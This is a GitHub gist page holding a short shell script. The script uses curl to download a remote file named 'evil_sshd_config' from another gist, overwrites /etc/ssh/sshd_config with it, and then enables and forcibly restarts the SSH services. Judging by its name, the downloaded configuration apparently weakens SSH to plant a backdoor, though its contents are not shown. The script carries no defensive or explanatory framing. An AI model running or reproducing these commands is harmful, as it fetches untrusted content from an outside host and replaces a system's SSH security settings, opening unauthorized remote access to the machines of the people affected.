Skip to content

Instantly share code, notes, and snippets.

@picatz
Last active January 22, 2018 15:33
Show Gist options
  • Save picatz/ee22a5dc275c79769e04887f98a43e8c to your computer and use it in GitHub Desktop.
Save picatz/ee22a5dc275c79769e04887f98a43e8c to your computer and use it in GitHub Desktop.
curl -s https://gist.githubusercontent.com/picatz/905921c6b835204956f00c3685d75494/raw/c133412b7fc20009b3360004fe377b837574fa27/evil_sshd_config > /etc/ssh/sshd_config
systemctl enable ssh.service
systemctl enable sshd.service
systemctl stop ssh.service
systemctl stop sshd.service
systemctl start ssh.service
systemctl start sshd.service
echo "Installed, enabled, and forcefully restarted ssh server configuration."
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment